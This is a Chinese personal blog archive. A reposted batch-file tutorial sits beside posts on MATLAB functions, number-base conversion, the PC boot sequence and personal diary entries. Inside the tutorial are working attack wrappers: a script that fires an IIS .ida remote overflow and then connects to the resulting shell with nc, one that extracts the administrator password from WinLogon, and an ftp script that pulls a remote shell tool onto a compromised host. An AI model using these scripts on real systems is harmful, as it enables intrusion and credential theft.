>>c:\pass.txt echo 密 码:%2 >>c:\pass.txt net use \\%1\ipc$ /delet exit :answer2 For 对一组文件中的每个文件运行指定的命令。 可以在批处理程序中或直接从命令提示符使用 for 命令。 要在批处理程序中使用 for 命令,请使用以下语法: for %%variable in (set) docommand [command-parameters] 要在命令提示符下使用 for,请使用以下语法: for %variable in (set) do command [command-parameters] 参数 %%variable 或 %variable 代 表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。 (set) 指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。 command 指定要在指定的 set 所包含的每个文件上执行的命令。 command-parameters 指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。 如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。 For 命令的其他形式 如果启用了命令扩展,将支持如下 for 命令的其他格式: 只限于目录 for /D [%% | %]variable in (set) docommand [command-parameters] 如果 set 包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名。 递归 for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters] 进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。 迭代 for /L [%% | %]variable in (start,step,end) do command [command-parameters] 集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。 BAT文件技巧 文章结构 1. 所有内置命令的帮助信息 2. 环境变量的概念 3. 内置的特殊符号(实际使用中间注意避开) 4. 简单批处理文件概念 5. 附件1 tmp.txt 6. 附件2 sample.bat ###################################################################### 1. 所有内置命令的帮助信息 ###################################################################### ver cmd /? set /? rem /? if /? echo /? goto /? for /? shift /? call /? 其他需要的常用命令 type /? find /? findstr /? copy /? ______________________________________________________________________ 下面将所有上面的帮助输出到一个文件 echo ver >tmp.txt ver >>tmp.txt echo cmd /? >>tmp.txt cmd /? >>tmp.txt echo rem /? >>tmp.txt rem /? >>tmp.txt echo if /? >>tmp.txt if /? >>tmp.txt echo goto /? >>tmp.txt goto /? >>tmp.txt echo for /? >>tmp.txt for /? >>tmp.txt echo shift /? >>tmp.txt shift /? >>tmp.txt echo call /? >>tmp.txt call /? >>tmp.txt echo type /? >>tmp.txt type /? >>tmp.txt echo find /? >>tmp.txt find /? >>tmp.txt echo findstr /? >>tmp.txt findstr /? >>tmp.txt echo copy /? >>tmp.txt copy /? >>tmp.txt type tmp.txt ______________________________________________________ ###################################################################### 2. 环境变量的概念 ###################################################################### _____________________________________________________________________________ C:Program Files>set ALLUSERSPROFILE=C:Documents and SettingsAll Users CommonProgramFiles=C:Program FilesCommon Files COMPUTERNAME=FIRST ComSpec=C:WINNTsystem32cmd.exe NUMBER_OF_PROCESSORS=1 OS=Windows_NT Os2LibPath=C:WINNTsystem32os2dll; Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0605 ProgramFiles=C:Program Files PROMPT=$P$G SystemDrive=C: SystemRoot=C:WINNT TEMP=C:WINNTTEMP TMP=C:WINNTTEMP USERPROFILE=C:Documents and SettingsDefault User windir=C:WINNT _____________________________________________________________________________ path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 %windir%system32. 这个目录里面. 一般就可以自动搜索到. 语法: copy mychenxu.exe %windir%system32. 使用点(.) 便于一目了然 对环境变量的引用使用(英文模式,半角)双引号 %windir% 变量 %%windir%% 二次变量引用. 我们常用的还有 %temp% 临时文件目录 %windir% 系统目录 %errorlevel% 退出代码 输出文件到临时文件目录里面.这样便于当前目录整洁. 对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作 C:>dir p* C: 的目录 2000-09-02 11:47 2,164 PDOS.DEF 1999-01-03 00:47 Program Files 1 个文件 2,164 字节 1 个目录 1,505,997,824 可用字节 C:>cd pro* C:Program Files> C:> C:>cd "Program Files" C:Program Files> ###################################################################### 3. 内置的特殊符号(实际使用中间注意避开) ###################################################################### 微软里面内置了下列字符不能够在创建的文件名中间使用 con nul aux / | || && ^ > < * You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: (大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了) To create the variable value new&name, type: set varname=new^&name To create the variable value "new&name", type: set varname="new&name" The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments. find "Pacific Rim" < trade.txt > nwtrade.txt IF EXIST filename. (del filename.) ELSE echo filename. missing > 创建一个文件 >> 追加到一个文件后面 @ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示 ^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb echo 123456 ^> aaa echo 1231231 > bbb () 包含命令 (echo aa & echo bb) , 和空格一样的缺省分隔符号. ; 注释,表示后面为注释 : 标号作用 | 管道操作 & Usage:第一条命令 & 第二条命令 [& 第三条命令...] 用这种方法可以同时执行多条命令,而不管命令是否执行成功 dir c:*.exe & dir d:*.exe & dir e:*.exe && Usage:第一条命令 && 第二条命令 [&& 第三条命令...] 当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令; || Usage:第一条命令 || 第二条命令 [|| 第三条命令...] 当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; 常用语法格式 IF [NOT] ERRORLEVEL number command para1 para2 IF [NOT] string1==string2 command para1 para2 IF [NOT] EXIST filename command para1 para2 IF EXIST filename command para1 para2 IF NOT EXIST filename command para1 para2 IF "%1"=="" goto END IF "%1"=="net" goto NET IF NOT "%2"=="net" goto OTHER IF ERRORLEVEL 1 command para1 para2 IF NOT ERRORLEVEL 1 command para1 para2 FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k 按照字母顺序 ijklmnopq依次取参数. eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 ###################################################################### 4. 简单批处理文件概念 ###################################################################### echo This is test > a.txt type a.txt echo This is test 11111 >> a.txt type a.txt echo This is test 22222 > a.txt type a.txt 第二个echo是追加 第三个echo将清空a.txt 重新创建 a.txt netstat -n | find "3389" 这个将要列出所有连接3389的用户的ip. ________________test.bat___________________________________________________ @echo please care echo plese care 1111 echo plese care 2222 echo plese care 3333 @echo please care @echo plese care 1111 @echo plese care 2222 @echo plese care 3333 rem 不显示注释语句,本行显示 @rem 不显示注释语句,本行不显示 @if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe) @if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe) ___________________________________________________________________________ 下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. ___________________ida.bat_________________________________________________ @rem ver 1.0 @if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe" @if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe" @if "%1" =="" goto USAGE @if NOT "%2" =="" goto SP2 :start @echo Now start ... @ping %1 @echo chinese win2k:1 sp1:2 sp2:3 idahack.exe %1 80 1 99 >%temp%_tmp @echo "prog exit code [%errorlevel%] idahack.exe" @type %temp%_tmp @find "good luck :)" %temp%_tmp @echo "prog exit code [%errorlevel%] find [goog luck]" @if NOT errorlevel 1 nc.exe %1 99 @goto END :SP2 @idahack.exe %1 80 %2 99 %temp%_tmp @type %temp%_tmp @find "good luck :)" %temp%_tmp @if NOT errorlevel 1 nc.exe %1 99 @goto END :USAGE @echo Example: ida.bat IP @echo Example: ida.bat IP (2,3) :END _____________________ida.bat__END_________________________________ 下面我们再来第二个文件.就是得到administrator的口令. 大多数人说得不到.其实是自己的没有输入正确的信息. ___________________________fpass.bat____________________________________________ @rem ver 1.0 @if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe" @if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe" @echo start.... @echo ____________________________________ @if "%1"=="" goto USAGE @findpass.exe %1 %2 %3 >> %temp%_findpass.txt @echo "prog exit code [%errorlevel%] findpass.exe" @type %temp%_findpass.txt @echo ________________________________Here__pass★★★★★★★★ @ipconfig /all >>%temp%_findpass.txt @goto END :USAGE @pulist.exe >%temp%_pass.txt @findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt @echo "Example: fpass.bat %1 %2 %3 %4 !!!" @echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon" :END @echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator " @echo " fpass.bat end [%errorlevel%] !" _________________fpass.bat___END________________________________________ 还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) 依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!! echo open 210.64.x.4 3396>w echo read>>w echo read>>w echo cd winnt>>w echo binary>>w echo pwd >>w echo get wget.exe >>w echo get winshell.exe >>w echo get any.exe >>w echo quit >>w ftp -s:w 出处:转贴 8/14/2008 [计算机]Matlab常用命令MATLAB常用的基本数学函数 abs(x):纯量的绝对值或向量的长度 angle(z):复数z的相角(Phase angle) sqrt(x):开平方 real(z):复数z的实部 imag(z):复数z的虚部 conj(z):复数z的共轭复数 round(x):四舍五入至最近整数 fix(x):无论正负,舍去小数至最近整数 floor(x):地板函数,即舍去正小数至最近整数 ceil(x):天花板函数,即加入正小数至最近整数 rat(x):将实数x化为分数表示 rats(x):将实数x化为多项分数展开 sign(x):符号函数 (Signum function)。 rem(x,y):求x除以y的馀数 gcd(x,y):整数x和y的最大公因数 lcm(x,y):整数x和y的最小公倍数 exp(x):自然指数 pow2(x):2的指数 log(x):以e为底的对数,即自然对数或 log2(x):以2为底的对数 log10(x):以10为底的对数 MATLAB常用的三角函数 sin(x):正弦函数 cos(x):馀弦函数 tan(x):正切函数 asin(x):反正弦函数 acos(x):反馀弦函数 atan(x):反正切函数 atan2(x,y):四象限的反正切函数 sinh(x):超越正弦函数 cosh(x):超越馀弦函数 tanh(x):超越正切函数 asinh(x):反超越正弦函数 acosh(x):反超越馀弦函数 atanh(x):反超越正切函数 适用於向量的常用函数有: min(x): 向量x的元素的最小值 max(x): 向量x的元素的最大值 mean(x): 向量x的元素的平均值 median(x): 向量x的元素的中位数 std(x): 向量x的元素的标准差 diff(x): 向量x的相邻元素的差 sort(x): 对向量x的元素进行排序(Sorting) length(x): 向量x的元素个数 norm(x): 向量x的欧氏(Euclidean)长度 sum(x): 向量x的元素总和 prod(x): 向量x的元素总乘积 cumsum(x): 向量x的累计元素总和 cumprod(x): 向量x的累计元素总乘积 dot(x, y): 向量x和y的内积 cross(x, y): 向量x和y的外积 MATLAB的永久常数 i或j:基本虚数单位 eps:系统的浮点(Floating-point)精确度 inf:无限大, 例如1/0 nan或NaN:非数值(Not a number),例如0/0 pi:圆周率 p(= 3.1415926...) realmax:系统所能表示的最大数值 realmin:系统所能表示的最小数值 nargin: 函数的输入引数个数 nargin: 函数的输出引数个数 [计算机]定点数和浮点数计算机中的数除了整数之外,还有小数。如何确定小数点的位置呢?通常有两种方法: 一种是规定小数点位置固定不变,称为定点数。 另一种是小数点的位置不固定,可以浮动,称为浮点数。 在计算机中,通常是用定点数来表示整数和纯小数,分别称为定点整数和定点小数。对于既有整数部分、又有小数部分的数,一般用浮点数表示。下面分别予以介绍: (1)定点整数:在定点数中,当小数点的位置固定在数值位最低位的右边时,就表示一个整数。请注意:小数点并不单独占1个二进制位,而是默认在最低位的右边。定点整数又分为有符号数和无符号数两类。 (2)定点小数:当小数点的位置固定在符号位与最高数值位之间时,就表示一个纯小数。因为定点数所能表示数的范围较小,常常不能满足实际问题的需要,所以要采用能表示数的范围更大的浮点数。 (3)浮点数:在浮点数表示法中,小数点的位置是可以浮动的。在大多数计算机中,都把尾数S定为二进制纯小数,把阶码P定为二进制定点整数。尾数S的二进制位数决定了所表示数的精度;阶码P的二进制位决定了所能表示的数的范围。为了使所表示的浮点数既精度高、又范围大,就必须合理规定浮点数的存储格式。 双精度浮点数和单精度浮点数 这两者主要在精度上有区别。 双精度浮点数能精确表示 1.79769313486231570E+308 到 -4.94065645841246544E-324 范围的负数和从 4.94065645841246544E-324 到 1.79769313486231570E+308 范围的正数。 单精度浮点数能够精确表示从 -3.4028235E+38 到 -1.401298E-45 的负数和从 1.401298E-45 到 3.4028235E+38 的正数。 单精度浮点数的精度没有双精度那么高,但是所需内存少,运算速度快。 提示 如果对精度要求不高,则应该尽量避免使用双精度浮点数,而应该使用单精度浮点数。这一点在一些大型应用程序中非常重要。如果在定义变量时,单精度浮点数就足够了,但是却使用了双精度浮点数,会大大减慢程序的运行。 如果某个变量只需要整数类型就足够了,应避免用浮点数。因为整数的运算速度更快。 指令与伪指令[指令语句]
每一条指令语句在源程序汇编时都要产生可供计算机执行的指令代码(即目标代码),所以这种语句又叫可执行语句。每一条指令语句表示计算机具有的一个基本能力,如数据传送,两数相加或相减,移位等,而这种能力是在目标程序(指令代码的有序集合)运行时完成的,是依赖于汁算机内的中央处理器(CPU)、存储器、I/O接口等硬件设备来实现的。 [伪指令语句] 伪指令语句是用于指示汇编程序如何汇编源程序,所以这种语句又叫命令语句。例如源程序中的伪指令语句告诉汇编程序:该源程序如何分段,有哪些逻辑段在程序段中哪些是当前段,它们分别由哪个段寄存器指向;定义了哪些数据,存储单元是如何分配的等等。伪指令语句除定义的具体数据要生成目标代码外,其他均没有对应的目标代码。伪指令语句的这些命令功能是由汇编程序在汇编源程序时,通过执行一段程序来完成的,而不是在运行目标程序时实现的。 我的QQ空间
进制转换(来自百度百科)
在高速发展的现代社会,计算机浩浩荡荡地成为了人们生活中不可缺... 进制转换(来自百度百科)在高速发展的现代社会,计算机浩浩荡荡地成为了人们生活中不可缺少的一部分,帮助人们解决通信,联络,互动等各方面的问题。今天我就给大家讲讲与计算机有关的“进制转换”问题。 我们以(25.625)(十)为例讲解一下进制之间的转化问题 说明:小数部份的转化计算机二级是不考的,有兴趣的人可以看一看 1. 十 -----> 二 (25.625)(十) 整数部分: 25/2=12......1 12/2=6 ......0 6/2=3 ......0 3/2=1 ......1 1/2=0 ......1 然后我们将余数按从下往上的顺序书写就是:11001,那么这个11001就是十进制25的二进制形式 小数部分: 0.625*2=1.25 0.25 *2=0.5 0.5 *2=1.0 然后我们将整数部分按从上往下的顺序书写就是:101,那么这个101就是十进制0.625的二进制形式 所以:(25.625)(十)=(11001.101)(二) 2. 二 ----> 十 (11001.101)(二) 整数部分: 下面的出现的2(x)表示的是2的x次方的意思 1*2(4)+1*2(3)+0*2(2)+0*2(1)+1*2(0)=25 小数部分: 1*2(-1)+0*2(-2)+1*2(-3)=0.625 所以:(11001.101)(二)=(25.625)(十) 3. 十 ----> 八 (25.625)(十) 整数部分: 25/8=3......1 3/8 =0......3 然后我们将余数按从下往上的顺序书写就是:31,那么这个31就是十进制25的八进制形式 小数部分: 0.625*8=5 然后我们将整数部分按从上往下的顺序书写就是:5,那么这个5就是十进制0.625的八进制形式 所以:(25.625)(十)=(31.5)(八) 4. 八 ----> 十 (31.5)(八) 整数部分: 3*8(1)+1*8(0)=25 小数部分: 5*8(-1)=0.625 所以(31.5)(八)=(25.625)(十) 5. 十 ----> 十六 (25.625)(十) 整数部分: 25/16=1......9 1/16 =0......1 然后我们将余数按从下往上的顺序书写就是:19,那么这个19就是十进制25的十六进制形式 小数部分: 0.625*16=10(即十六进制的A或a) 然后我们将整数部分按从上往下的顺序书写就是:A,那么这个A就是十进制0.625的十六进制形式 所以:(25.625)(十)=(19.A)(十六) 6. 十六----> 十 (19.A)(十六) 整数部分: 1*16(1)+9*16(0)=25 小数部分: 10*16(-1)=0.625 所以(19.A)(十六)=(25.625)(十) 如何将带小数的二进制与八进制、十六进制数之间的转化问题 我们以(11001.101)(二)为例讲解一下进制之间的转化问题 说明:小数部份的转化计算机二级是不考的,有兴趣的人可以看一看 1. 二 ----> 八 (11001.101)(二) 整数部分: 从后往前每三位一组,缺位处用0填补,然后按十进制方法进行转化, 则有: 001=1 011=3 然后我们将结果按从下往上的顺序书写就是:31,那么这个31就是二进制11001的八进制形式 小数部分: 从前往后每三位一组,缺位处用0填补,然后按十进制方法进行转化, 则有: 101=5 然后我们将结果部分按从上往下的顺序书写就是:5,那么这个5就是二进制0.101的八进制形式 所以:(11001.101)(二)=(31.5)(八) 2. 八 ----> 二 (31.5)(八) 整数部分:从后往前每一位按十进制转化方式转化为三位二进制数,缺位处用0补充 则有: 1---->1---->001 3---->11 然后我们将结果按从下往上的顺序书写就是:11001,那么这个11001就是八进制31的二进制形式 说明,关于十进制的转化方式我这里就不再说了,上一篇文章我已经讲解了! 小数部分:从前往后每一位按十进制转化方式转化为三位二进制数,缺位处用0补充 则有: 5---->101 然后我们将结果按从下往上的顺序书写就是:101,那么这个101就是八进制5的二进制形式 所以:(31.5)(八)=(11001.101)(二) 3. 十六 ----> 二 (19.A)(十六) 整数部分:从后往前每位按十进制转换成四位二进制数,缺位处用0补充 则有: 9---->1001 1---->0001(相当于1) 则结果为00011001或者11001 小数部分:从前往后每位按十进制转换成四位二进制数,缺位处用0补充 则有: A(即10)---->1010 所以:(19.A)(十六)=(11001.1010)(二)=(11001.101)(二) 4. 二 ----> 十六 (11001.101)(二) 整数部分:从后往前每四位按十进制转化方式转化为一位数,缺位处用0补充 则有: 1001---->9 0001---->1 则结果为19 小数部分:从前往后每四位按十进制转化方式转化为一位数,缺位处用0补充 则有: 1010---->10---->A 则结果为A 所以:(11001.101)(二)=(19.A)(十六) 最近有些朋友提了这样的问题“0.8的十六进制是多少?” 我想在我的空间里已经有了详细的讲解,为什么他还要问这样的问题那 于是我就动手算了一下,发现0.8、0.6、0.2... ...一些数字在进制之间的转化 过程中确实存在麻烦。 就比如“0.8的十六进制”吧! 无论你怎么乘以16,它的余数总也乘不尽,总是余8 这可怎么办啊,我也没辙了 第二天,我请教了我的老师才知道,原来这么简单啊! 具体方法如下: 0.8*16=12.8 0.8*16=12.8 . . . . . 取每一个结果的整数部分为12既十六进制的C 如果题中要求精确到小数点后3位那结果就是0.CCC 如果题中要求精确到小数点后4位那结果就是0.CCCC 现在OK了,我想我的朋友再也不会因为进制的问题烦愁了! 我的QQ空间
进制转换(来自百度百科)
在高速发展的现代社会,计算机浩浩荡荡地成为了人们生活中不可缺... 5/24/2008 酒泉出差好久都没来更新Space了,刚刚看到睡神更新了,不能落后啊!
未更新Space期间一直在出差,分别是云南昆明、广西桂林,现在在甘肃酒泉。
这次来酒泉是第一次来戈壁,实在不是用荒凉两个字就可以形容的,今天和司机去内蒙戈壁转了一圈,拍了一些照片,分享一下。
PS:嘉峪关机场的停机位
PS:这是我从嘉峪关下飞机坐车去工作地的GPS轨迹,我新买的Holux M1000接收机,很好用
PS:途经酒泉市,这是酒泉的中心-鼓楼
PS:住宿地点-神舟宾馆
PS:从住的地方看后去就是司令部
PS:刚刚刮完沙尘暴的天是这样子的
PS:货真价实的戈壁滩
PS:内蒙境内的一个国家地质公园,好像是一个叫做石头城的地方
PS:路边有个蒙古人开的饭馆,是90公里路程中唯一的建筑
PS:太阳能电池板,真正的发电,不像有的手机……
PS:传说中的蒙古包
PS:家养的骆驼
PS:我和骆驼的自拍 7/19/2007 一根玉米引发的……上周末去了趟YanLiang,本来是要去看GF的,哪料想路边买的的一根玉米将我的美好的计划和梦想全部打碎,吃完了那根香喷喷的玉米之后,胃就开始发胀,接着就发疼,发烧,突然感觉就像一月份在杭州时一样,第二天早上就去了医院,结果医院的急诊排满了人,都和我一样的症状,化验之后开了一些药就回去吃了,到晚上还丝毫不见好转,只能去打吊瓶了,我觉得我还真是奇怪,每次到了门诊那里测体温都是36.8,一回去就是37.9,结果医生就没有给开退烧药,晚上要打三瓶,打着打着感觉就不对劲,浑身发烫,还是GF去给我再另外开的退烧针,不过是肌肉注射,时隔十多年我又重温了肌肉注射的感觉——只是没有小时候感觉那么痛了,之后又打了两天针才好点,就回去上班了。上了三天班,到今天也不舒服,胃痛了一早上,郁闷啊,想想我的胃口,现在变成这样,真是没有比这个更惨的事情了,人世间最大的痛苦莫过于此啊,到现在终于感觉好多了,自己烧了点稀饭,感慨了半天还是感觉身体最重要,现在真的要好好把胃养好。最近给GF添了不少麻烦啊,不过想来想去还是感觉相当的幸福,胃痛并幸福着,哈哈 6/6/2007 计算机启动过程详解 打开电源启动机器几乎是电脑爱好者每天必做的事情,面对屏幕上出现的一幅幅启动画面,我们一点儿也不会感到陌生,但是,计算机在显示这些启动画面时都做了些什么工作呢?相信有的朋友还不是很清楚,本文就来介绍一下从打开电源到出现Windows的蓝天白云时,计算机到底都干了些什么事情。 首先让我们来了解一些基本概念。第一个是大家非常熟悉的BIOS(基本输入输出系统),BIOS是直接与硬件打交道的底层代码,它为操作系统提供了控制硬件设备的基本功能。BIOS包括有系统BIOS(即常说的主板BIOS)、显卡BIOS和其它设备(例如IDE控制器、SCSI卡或网卡等)的BIOS,其中系统BIOS是本文要讨论的主角,因为计算机的启动过程正是在它的控制下进行的。BIOS一般被存放在ROM(只读存储芯片)之中,即使在关机或掉电以后,这些代码也不会消失。 第二个基本概念是内存的地址,我们的机器中一般安装有64MB,128MB或512MB内存或更大的内存,这些内存的每一个字节都被赋予了一个地址,以便CPU访问内存。32MB的地址范围用十六进制数表示就是0~1FFFFFFH,其中0~FFFFFH的低端1MB内存非常特殊,因为最初的8086处理器能够访问的内存最大只有1MB,这1MB的低端640KB被称为基本内存,而A0000H~BFFFFH要保留给显示卡的显存使用,C0000H~FFFFFH则被保留给BIOS使用,其中系统BIOS一般占用了最后的64KB或更多一点的空间,显卡BIOS一般在C0000H~C7FFFH处,IDE控制器的BIOS在C8000H~CBFFFH处。 好了,下面我们就来仔细看看计算机的启动过程吧。 第一步:当我们按下电源开关时,电源就开始向主板和其它设备供电,此时电压还不太稳定,主板上的控制芯片组会向CPU发出并保持一个RESET(重置)信号,让CPU内部自动恢复到初始状态,但CPU在此刻不会马上执行指令。当芯片组检测到电源已经开始稳定供电了(当然从不稳定到稳定的过程只是一瞬间的事情),它便撤去RESET信号(如果是手工按下计算机面板上的Reset按钮来重启机器,那么松开该按钮时芯片组就会撤去RESET信号),CPU马上就从地址FFFF0H处开始执行指令,从前面的介绍可知,这个地址实际上在系统BIOS的地址范围内,无论是AwardBIOS还是AMIBIOS,放在这里的只是一条跳转指令,跳到系统BIOS中真正的启动代码处。 第二步:系统BIOS的启动代码首先要做的事情就是进行POST(Power-OnSelfTest,加电后自检),POST的主要任务是检测系统中一些关键设备是否存在和能否正常工作,例如内存和显卡等设备。由于POST是最早进行的检测过程,此时显卡还没有初始化,如果系统BIOS在进行POST的过程中发现了一些致命错误,例如没有找到内存或者内存有问题(此时只会检查640K常规内存),那么系统BIOS就会直接控制喇叭发声来报告错误,声音的长短和次数代表了错误的类型。在正常情况下,POST过程进行得非常快,我们几乎无法感觉到它的存在,POST结束之后就会调用其它代码来进行更完整的硬件检测。 第三步:接下来系统BIOS将查找显卡的BIOS,前面说过,存放显卡BIOS的ROM芯片的起始地址通常设在C0000H处,系统BIOS在这个地方找到显卡BIOS之后就调用它的初始化代码,由显卡BIOS来初始化显卡,此时多数显卡都会在屏幕上显示出一些初始化信息,介绍生产厂商、图形芯片类型等内容,不过这个画面几乎是一闪而过。系统BIOS接着会查找其它设备的BIOS程序,找到之后同样要调用这些BIOS内部的初始化代码来初始化相关的设备。 第四步:查找完所有其它设备的BIOS之后,系统BIOS将显示出它自己的启动画面,其中包括有系统BIOS的类型、序列号和版本号等内容。 第五步:接着系统BIOS将检测和显示CPU的类型和工作频率,然后开始测试所有的RAM,并同时在屏幕上显示内存测试的进度,我们可以在CMOS设置中自行决定使用简单耗时少或者详细耗时多的测试方式。 第六步:内存测试通过之后,系统BIOS将开始检测系统中安装的一些标准硬件设备,包括硬盘、CD-ROM、串口、并口、软驱等设备,另外绝大多数较新版本的系统BIOS在这一过程中还要自动检测和设置内存的定时参数、硬盘参数和访问模式等。 第七步:标准设备检测完毕后,系统BIOS内部的支持即插即用的代码将开始检测和配置系统中安装的即插即用设备,每找到一个设备之后,系统BIOS都会在屏幕上显示出设备的名称和型号等信息,同时为该设备分配中断、DMA通道和I/O端口等资源。 第八步:到这一步为止,所有硬件都已经检测配置完毕了,多数系统BIOS会重新清屏并在屏幕上方显示出一个表格,其中概略地列出了系统中安装的各种标准硬件设备,以及它们使用的资源和一些相关工作参数。 第九步:接下来系统BIOS将更新ESCD(ExtendedSystemConfigurationData,扩展系统配置数据)。ESCD是系统BIOS用来与操作系统交换硬件配置信息的一种手段,这些数据被存放在CMOS(一小块特殊的RAM,由主板上的电池来供电)之中。通常ESCD数据只在系统硬件配置发生改变后才会更新,所以不是每次启动机器时我们都能够看到“UpdateESCD…Success”这样的信息,不过,某些主板的系统BIOS在保存ESCD数据时使用了与Windows9x不相同的数据格式,于是Windows9x在它自己的启动过程中会把ESCD数据修改成自己的格式,但在下一次启动机器时,即使硬件配置没有发生改变,系统BIOS也会把ESCD的数据格式改回来,如此循环,将会导致在每次启动机器时,系统BIOS都要更新一遍ESCD,这就是为什么有些机器在每次启动时都会显示出相关信息的原因。 第十步:ESCD更新完毕后,系统BIOS的启动代码将进行它的最后一项工作,即根据用户指定的启动顺序从软盘、硬盘或光驱启动。以从C盘启动为例,系统BIOS将读取并执行硬盘上的主引导记录,主引导记录接着从分区表中找到第一个活动分区,然后读取并执行这个活动分区的分区引导记录,而分区引导记录将负责读取并执行IO.SYS,这是DOS和Windows9x最基本的系统文件。Windows9x的IO.SYS首先要初始化一些重要的系统数据,然后就显示出我们熟悉的蓝天白云,在这幅画面之下,Windows将继续进行DOS部分和GUI(图形用户界面)部分的引导和初始化工作。 如果系统之中安装有引导多种操作系统的工具软件,通常主引导记录将被替换成该软件的引导代码,这些代码将允许用户选择一种操作系统,然后读取并执行该操作系统的基本引导代码(DOS和Windows的基本引导代码就是分区引导记录)。 上面介绍的便是计算机在打开电源开关(或按Reset键)进行冷启动时所要完成的各种初始化工作,如果我们在DOS下按Ctrl+Alt+Del组合键(或从Windows中选择重新启动计算机)来进行热启动,那么POST过程将被跳过去,直接从第三步开始,另外第五步的检测CPU和内存测试也不会再进行。我们可以看到,无论是冷启动还是热启动,系统BIOS都一次又一次地重复进行着这些我们平时并不太注意的事情,然而正是这些单调的硬件检测步骤为我们能够正常使用电脑提供了基础。 12/27/2006 [引用]女孩们 请不要让男生太累总说,男人不懂女人心,可有时候,我们不也常常忽略他们的感受?有义务陪女朋友,又没有权利放弃自己的工作和学习。在坚强的标志下,他们只能把所有的事情一肩扛。生活本来就很让人疲惫,当他为了我们的未来打拼的时候,宝贝们,我们不该再让他们太累…… 不是每个男生都是骑着白马的王子。所以,请不要苛求他不够高大和英俊,不要责怪他送给你的只是一双手套而不是九十九朵玫瑰。宝贝们,要知道,他不是王子,但你是他永远的公主,他的爱便是让你变成公主的水晶鞋。 不是每个男生都能把爱挂在嘴边。所以,请不要在他回答“爱不爱你”不够干脆时心生怀疑,不要让他把这种回答变成一种无奈的习惯。宝贝们,你要学着体会无言的承诺,请相信,当他静静地看着你微笑时,当他轻轻地抚摩你的头发时,当他自然地牵着你的手时,他就是爱你的。 不是每个男生都善于反驳。所以,当出现误会而他却沉默不语时,请不要推开他兀自哭红了眼睛。也许在他看来那只是一个无关的女人或者一件他绝不会做的事,他总相信那是事实,就不需要太多解释。宝贝们,不要轻易把这份坚持当作一种默认的表示。难道,你没看到他手足无措的样子? 要知道,他不是超人或者蝙蝠侠。所以,当他不能在你有困难时第一时间出现,请你不要责难他,因为在你无助时不能守在你的身边,那份担心已经是他最大的惩罚。请记住,当他事后关心地询问时,请给予温柔的回答,告诉他已经没事了,不要牵挂。 面子对男子来说比什么都重要。所以,在他的朋友面前,请给他十足的地位。如果他在朋友面前忽略了你,不要任性地以为那是不重视,也许他只是想显出你的温顺。不要介意在人前当个小女人,宝贝们,要知道,那可是被宠爱的女子才有的特权哦。 也许男生总搞不懂女生在想什么。所以,当你故意叫他走而他却真的走开时,请不要发誓一定要好好地惩罚他,要知道,一头雾水的他此刻心里比你还要郁闷。宝贝们,何不明白的告诉他呢,他会爱得轻松许多,而你也可以得到你真正想要的。 男生也会脆弱,也会突然地莫名情绪低落。所以,当他的脸上写满疲惫,眼中充满厌倦,请不要再去追问是不是不爱你了。要知道,时刻的讨好,谁也做不到。宝贝们,此刻,不要再去问他怎么了,只要安静地陪在他身边就好了。 10/24/2006 最丰盛的晚饭:-)今天女朋友在大舅家亲自下厨,邀我共进晚餐(还有她表妹),我下班后不远万里、跋山涉水才赶到大舅家(由于把706看成716坐错车,走了三站地),不过看到满桌的饭菜还是很吃惊的,这次可全是她一个人做的,以前虽然也做过但基本上就是炒个菜(洗菜、切菜、盛菜的工作都由我完成),今天可以算是质的飞跃了,我怀着欣喜和激动的心情逐个品尝了做的菜,说实话都不错,虽然她自己在吃之前就提醒有什么问题,不过毕竟是第一次,已经远远超出我的期望了。
